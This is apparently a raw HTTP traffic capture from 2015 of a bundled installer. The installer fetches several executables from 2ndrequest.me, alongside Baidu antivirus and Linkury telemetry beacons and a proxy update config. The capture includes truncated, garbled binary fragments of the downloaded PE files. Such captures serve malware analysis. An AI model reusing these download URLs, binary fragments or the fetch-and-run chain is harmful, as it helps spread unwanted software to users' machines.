043457,4043458,4043492,4044606,4044954,4045841,4046304,4046400,4047318
,4047768,4048007,4048011,4048347,4048854,4048909,4049201,4049604,40498
96,4050268,4050735,4050779,4050891,4050911,4051154,4051282,4051637,405
1666,4051714,4051795,4051833,4052113,4052312,4052320,4052950,4053348,4
053843,4054223,4054355,4054384,4054641,8300096,8300272,8300290,8300295
,8502095,8502221,8502312,8502315,8502317,8502342,8502451,8502468,85025
37,8502552,8502691,10200083,10201225,10201418',authuser:0,kscs:'c9c918
f0_10'};google.kHL='uk';})();(function(){google.lc=[];google.li=0;goog
le.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute
("eid")));)a=a.parentNode;return b||google.kEI};google.getLEI=func<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.G.;U..

.C.JQ.|p..)
V.....*..T58[.|....X..w4...aj(.b..E.50H.R.......
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..!.....e.7o..u.Tb........^~ "..1...

POST /md5_check.cgi HTTP/1.0

Content-Length: 121

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0C.n.]..:..5......;.:.cHa......\..7.=..^#S2.bj.)py
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

........."........:..n.".0...p..b.j...h.....HW..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U...%2~.*'L.PUn.....=..;..O\-".....}......%...8F.....j....P.,...p.=\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

......2...i%.b/.UvTTT`.#x.....".S....tk.%i.l..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.1.H!..e..6.9'.xs..Xp"...u.(.. 80[.x.d..Y...7...c.*.f.C.2L<.%~......
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..R...z.c.>...q.U.a.......\._]..1...

GET /cgi/bav/Bav_NoDisturb.fcg HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0

Host: antivirus.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:04 GMT

Server: Apache

Last-Modified: Wed, 29 Apr 2015 08:57:54 GMT

Accept-Ranges: bytes

Content-Length: 4218

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain
{"Result":0,.."UserStatusCfg":{.."CPUBusyPercent":30,.."FetchCPUInterv
al":3000,.."FetchCPUTimes":5,.."MemoryLowPercent":70,.."FetchMemoryInt
erval":5000,.."FetchMemoryTimes":3..},.."NetStatusCfg":{.."NetMaxSpeed
":200000,.."NetMinSpeed":50000,.."NetBusyPercent":40,.."FetchNetInterv
al":5000,.."FetchNetTimes":3..},.."ProcessList":[..{"Name":"realplayer
.exe",.."KeyPath":"",.."Property":132096,.."Index":1},..{"Name":"super
tela.exe",.."KeyPath":"",.."Property":132352,.."Index":2},..{"Name":"s
team.exe",.."KeyPath":"",.."Property":67328,.."Index":3},..{"Name":"wo
w.exe",.."KeyPath":"",.."Property":67328,.."Index":4},..{"Name":"wow-6
4.exe",.."KeyPath":"",.."Property":67328,.."Index":5},..{"Name":"Lolcl
ient.exe",.."KeyPath":"",.."Property":67328,.."Index":6},..{"Name":"cs
go.exe",.."KeyPath":"",.."Property":67328,.."Index":7},..{"Name":"cstr
ike.exe",.."KeyPath":"",.."Property":67072,.."Index":8},..{"Name":"dot
a.exe",.."KeyPath":"",.."Property":67328,.."Index":9},..{"Name":"war3.
exe",.."KeyPath":"",.."Property":67328,.."Index":10},..{"Name":"dayz.e
xe",.."KeyPath":"",.."Property":67328,.."Index":11},..{"Name":"Borderl
ands.exe",.."KeyPath":"",.."Property":67328,.."Index":12},..{"Name":"G
randChase.exe",.."KeyPath":"",.."Property":67328,.."Index":13},..{"Nam
e":"gta-sa.exe",.."KeyPath":"",.."Property":67072,.."Index":14},..{"Na
me":"gta-vc.exe",.."KeyPath":"",.."Property":67072,.."Index":15},..{"N
ame":"combatarms.exe",.."KeyPath":"",.."Property":67328,.."Index":16},
..{"Name":"crossfire.exe",.."KeyPath":"",.."Property":67328,.."Ind<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t!f.N.Bcn.p.....gtWo.....3."ftR,........pg%..V...rH0..M.[M..Xo..=....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8...i...Tk.`.(Orb1.W.....Y.I..sl<N=..

POST /?getchannel=1&guid=61807c4bafc26bb2ed98e3e60f587cd6 HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: upf.bav.baidu.com

Content-Length: 9

Connection: Keep-Alive

Pragma: no-cache

cm=GetCfg
HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:13 GMT

Server: splitsvr

Content-Type: text/plain

Content-Length: 160

Connection: Keep-Alive

P:L5zHPDITIAz4XQVr6i3xIoGgzeKCUw9H..S:131072..A:67108864..M:100..T:360
00..O:1024..R:20..Z:1:67108864..Y:1:67108864..X:1:67108864..V:1:671088
64..U:1:1073741824....

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.f{.T5|` ]<.""......E.y8..I\"$.....~.r...."...D3j....i....#.,.....N\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2....R~.(.!w.$T..V~.....%.P....{m.,..l..

GET /310714d/310714_a7.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:01:59 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 321992

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_a7.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... ......F.....@....................
.............h...........\.......................l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
..@.data...DK.......*..................@....rsrc...\..................
.........@..@.reloc...3.......4..................@..B.................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
.....U..QV..j..M...i...F....s.@.F..M...i..^..].......U..QVW..j..M.

<<< skipped >>>

GET /310714d/240714_t3.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:02:01 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 465336

Content-Description: File Transfer

Content-Disposition: attachment; filename="240714_t3.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ......6........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@..@.data...x.......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /310714d/310714_bn.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:02:02 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 2110824

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_bn.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$............|k..|k.
.|k......|k.33...|k......|k......|k......|k.....b|k..|j.S}k......|k...
...|k......|k......|k.Rich.|k.........PE..L.....JT....................
.........M.......0....@........................... ....... ...@.......
..........................t........0..\l............ .h.......p....7..
................................@............0........................
.......text...&........................... ..`.rdata.......0..........
............@..@.data....a.......4..................@....rsrc...\l...0
...n..................@..@.reloc...............B..............@..B....
......................................................................
......................................................................
......................................................................
......................................................................
............................................U.....QSVW3...9}.u..E.3.C;
.u..E..8.......u..E..83._^[..]......u.f9}.u.W.v...H5N......u.j......t.
...u .D$..\$.P...^....M...9|$.t.3.@..=....u..E.......M.....=....u..~,.
s...=......{....v(.k3..W.v...H5N..Q...j....M..-....u.V.....3..}..t4N..
F .E.....h..@.hZ.@.j j..F4P..|WO..~(.~,.~0......E..hhWO.j j.WWj.WWWh..
..WWWj....0N..F$.M............j....M.........u...|WO..E......F$..t.P..
.0N..E..h..@.j j..F4P......M..V......E..t.V.....Y...-......j....M..F..
..M...u..............U....t...Q.3..E..E.VW.E..E.3.P.s..u..u..u..u.<<< skipped >>>

GET /310714d/310714_y3.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:02:07 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 857728

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_y3.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1.D9u.*ju.*j
u.*j..ujw.*ju. j..*j..wjd.*j!..j..*j..,jt.*jRichu.*j........PE..L....f
.R.................`...*......X3.......p....@.........................
.................................................t..........@.........
..x................................................................p..
.............................text...f^.......`.................. ..`.r
data..T....p.......d..............@..@.data................x..........
....@....ndata...................................rsrc...@............~
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
...B..H.P.u..u..u...$r@..B...SV.5..B..E.WP.u...(r@..e...E..E.P.u...,r@
..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u...0r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W..4r@..u.W...u....E.P.u...|r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /310714d/310714_am2.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:02:09 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 311296

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_am2.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........x....u...u.
..u..a....u..o....u.3W....u.......u.....7.u.......u..a....u...t.*.u...
....u.......u.......u.Rich..u.........................PE..L......T....
......................................@...............................
........@..................................|..........(...............
.........)..................................xR..@...............L.....
.......................text............................... ..`.rdata..
............................@..@.data....:...........v..............@.
...rsrc...(...........................@..@.reloc...).......*..........
........@..B..........................................................
......................................................................
......................................................................
......................................................................
............................................j...4.....................
..........t.j.j.j.P....D...P....D.....................3.9.............
....t.j.j.j.P....D...P....D....>....................t.j.j.j.P....D.
..P....D.....3..H..H.........3....D....D..|.D..x.D....D..x.D..........
........=\.D..u.3...=`.D...L.D.s..L.D..U..j.h..C.d.....PSVW.D.D.3.P.E.
d......E..}....LD......3.3..O.._.f.W..]..O8._4f.W$.w@.E...N.3..^.f....
.Q..U....I.f.....f;.u. M...Q.*....GtHJD.................._x...........
................................._l._p.......Gh....._`._d.........

<<< skipped >>>

GET /310714d/310714_l.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: 2ndrequest.me

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 401 Unauthorized

Server: nginx/1.0.15

Date: Tue, 24 Nov 2015 07:02:10 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.6.13

0..HTTP/1.1 401 Unauthorized..Server: nginx/1.0.15..Date: Tue, 24 Nov 
2015 07:02:10 GMT..Content-Type: text/html; charset=UTF-8..Transfer-En
coding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.6.13..0..

POST /md5_check.cgi HTTP/1.0

Content-Length: 171

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.....y....,.v....3.V^4q..z...Q...R.....1...=..S.p..rB.......SJxer.#.% ..?....hY..m.3%Ry..D.Z...\..N
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

......9.$.(.F....Q.".Y.wV0...x......t..I.&..#...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.@.O(..d.3.O!.uq.
!~&.....Y..SH0[......,..
2...bf*...|J.@@N.W..}....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..U...{.f.7j..|.[f........-z/%..1...

POST /check_domain.cgi HTTP/1.0

Content-Length: 116

HEAD-LENGTH: 67

Host: f.eg.bav.baidu.com

...5.4.3.147185. 61807c4bafc26bb2ed98e3e60f587cd6 ...(.0............E....F.`A.-6%#]:....".x......Q.*.?.S.8.....s..:
HTTP/1.1 202 OK

Content-Length: 20

Connection: Close

Client Request Error..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t[..6.@..........rWo.....E.Q.w(_......e|..T..#....<<..;.(9......3....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8......u&.e`.X?u.7.W...t./{:....;N=..

POST /md5_check.cgi HTTP/1.0

Content-Length: 126

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0O..........s.......F.h%.^..fHg.....r..i...!...k...TJ..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.................n..LI.1:B9Y.o..5m..n..r.... ...

POST /md5_check.cgi HTTP/1.0

Content-Length: 132

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0t..1R.G.Hw..S.`...n_..i&O:...v.7.q......."..s......bd:.4..O0
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

......9.$.-.=..c.V.%r-\uW@........k.r..N....#...

POST /up.cgi HTTP/1.1

Accept: */*

HEAD-LENGTH: 77

Content-Length: 246

Host: up.eg.bav.baidu.com

Connection: Keep-Alive

.....5.4.3.147185 .(f2 61807c4bafc26bb2ed98e3e60f587cd6Z.Imali|br|IBD|Bundlex....a

..............G....Ro.pM..].rk..O>..Eu..Hv.[K>...h...p......#'....uiH0Z....EW.....=.V.l.y.NYj&PXi3l....v..gh.:.[..@y.....l...\.3.H..#.C......1.....k.g..B%....P.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 131

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..wt...... ..1.6..s....UE.t....F.......Q.h. ..m7a.l.G..z.#.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.........".d......:..d. .4............h.....HW..

POST /md5_check.cgi HTTP/1.0

Content-Length: 122

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0...b.!.......)...L..l. .........J.......ui...V-uw.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$. .3....'.W}(-}U4..........w..6.'..#...

POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1

Content-Length: 573

Content-Type: application/json

User-Agent: WinHttpClient

Host: svc-stats.linkury.com

Connection: Keep-Alive

{"request":

   "StatisicsEventsList" :

         "BarcodeId" : "149125"

         "CountryTwoLetterName" : "UA"

         "Data1" : "1.0.2.0"

         "Data2" : "Admin"

         "Data3" : ""

         "DeviceId" : "C28B7D95-2978-BD4C-036F-0CC89C089D"

         "EntityName" : "proxy"

         "EntityType" : "15"

         "EventCategory" : "0"

         "EventTime" : "/Date(1448348612000)/"

         "EventTypeName" : "installend"

         "Sampled" : false

         "Tag" : ""

         "TestGroup" : ""

         "UseClientTime" : fals

}
HTTP/1.1 202 Accepted

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:29 GMT

Content-Length: 0

POST /queryfeature.do HTTP/1.0

Content-Length: 131

Host: f.eg.bav.baidu.com

e=

.< .0...y

.
1.qxT>.pD..[{V%

NdE#...Y.._.b4d..)..f...JF=AJ..nB.K.j".u..u.=.J.?.%`.....8..0.....e...)..L..X.u.R..{....)@...%
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=1..4....:.....L........L...j..

GET /pennybee/UpdateVersion.xml HTTP/1.1

Host: goserverconfig.blob.core.windows.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Length: 167

Content-Type: text/xml

Content-MD5:  /8v4lYGj8aQWcWC1cr8wA==

Last-Modified: Thu, 04 Jun 2015 15:08:27 GMT

ETag: 0x8D26CEF7205E5D5

Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0

x-ms-request-id: 55fcb72d-0001-0008-7086-26aca0000000

x-ms-version: 2009-09-19

x-ms-lease-status: unlocked

x-ms-blob-type: BlockBlob

Date: Tue, 24 Nov 2015 07:03:34 GMT

Connection: close
<VersionConfig>..<AvailableVersion>1.0.0.0</AvailableVe
rsion>..<AppFileURL>hXXp://goserverconfig.blob.core.windows.n
et/pennybee/Proxy.zip</AppFileURL>.</VersionConfig>..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.x8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........X.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /cgi/ip/getCode.php HTTP/1.1

Host: pcfaster.baidu.com.eg

Accept: */*


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:14 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 38

Content-Type: text/html

Connection: Keep-Alive
{"ip":"194.242.96.218","country":"UA"}..

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=FD288C749BB73953B46780F7D70C102F:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=FD288C749BB73953B46780F7D70C102F; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348652; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=18072_1426_17956_17942_17783_17971_18042_17836_17001_17072_15046_12209; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu bd507e02037a11db583bef5fa9a4e6f2

Expires: Tue, 24 Nov 2015 07:03:58 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0xd799b03a00028aa1

BDUSERID: 0
18008..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 131

Host: f.eg.bav.baidu.com

e=

.< .0...y

.
1.qxT>.pD..[{V%

NdE#...Y.._.b4d..)..e..G.lI..'K%.t..j".uZ.a0......V.a..=.@..0...../...)..L..X.u.R..{....)@...%
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4....9..9~.8..{..5./....j..

POST /queryfeature.do HTTP/1.0

Content-Length: 130

Host: f.eg.bav.baidu.com

e=

..=-%.?...,..[_.Ya.'$.b.pAUH^%T~._8^b....Y..Y.m0F....Qu>..|.Y..aj.~IW`.-'.... jc...t..7r.W.h.i.....p...b.....B..m(k..o....7SP
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4.....or...?..q...in<...j..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.{8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Z.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /cgi-bin-py/get_channel_info_bavv2.cgi HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Content-Length: 1058

Connection: Keep-Alive

install_channel=Imali|br|IBD|Bundle&version=5.4.3.147185&errorcode=0&errortext=c3RhcnQgaW5pdA==&userid=61807c4bafc26bb2ed98e3e60f587cd6&olduserid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB&os=5.1.2600.xpsp.080413-2111&lljf=0&parentname=175ab56a567c0a72e71b49ed75433bc5115af16a3b7c1272c91b6eed4d432ac5185ac06a497c0f72e41b59ed5e4347c5085adb6a6f7c2372d81b56ed744313c5395aff6a567c0172eb1b6ced624313c5315aff6a477c3872ec1b6ced65434ec5395afe6a497c0672ed1b41ed4b4301c51b5afa6a6c7c2472e01b45ed634310c5165aea6a6f7c3e72e51b7ced644310c5115ab76a677c3f72eb1b42ed65433dc53f5af86a457c3b72ce1b60ed68432ac51b5acc6a6c7c0c72cd1b6fed50433bc5225acb6a6c7c0b72901b67ed514335c51c5aca6a417c2572df1b45ed554310c53e5ac76a457c0d72ce1b48ed454313c5245ac26a7c7c0a72ce1b4fed18431bc5255acc6a427c0b72e31b61ed574339c5215ae96a607c0672f71b68ed4e4358c5315af76a6f7c&parentsize=3c6faf6a&parentmd5=f7eb03c7d0965d0099f7549a9e2779b4&AutoUpload=1&fr=GlQS71A5R/R93RdTNQpd TdVFq8I&time=1448348653&action=end&normal=&rename=&movefile=&up=1&uuid=61807c4bafc26bb2ed98e3e60f587cd6
HTTP/1.1 200 OK

Content-Length: 28

Content-Type: text/html;charset=utf-8

Connection: Keep-Alive

upload channel info bavv2 okHTTP/1.1 200 OK..Content-Length: 28..Conte
nt-Type: text/html;charset=utf-8..Connection: Keep-Alive..upload chann
el info bavv2 ok..

GET /BavPro_Setup_B354.exe HTTP/1.1

Range: bytes=0-24837095

Host: dl2.bav.baidu.com

Accept: */*

User-Agent: OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn5.4.0.90620

Pragma: no-cache

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:03:31 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

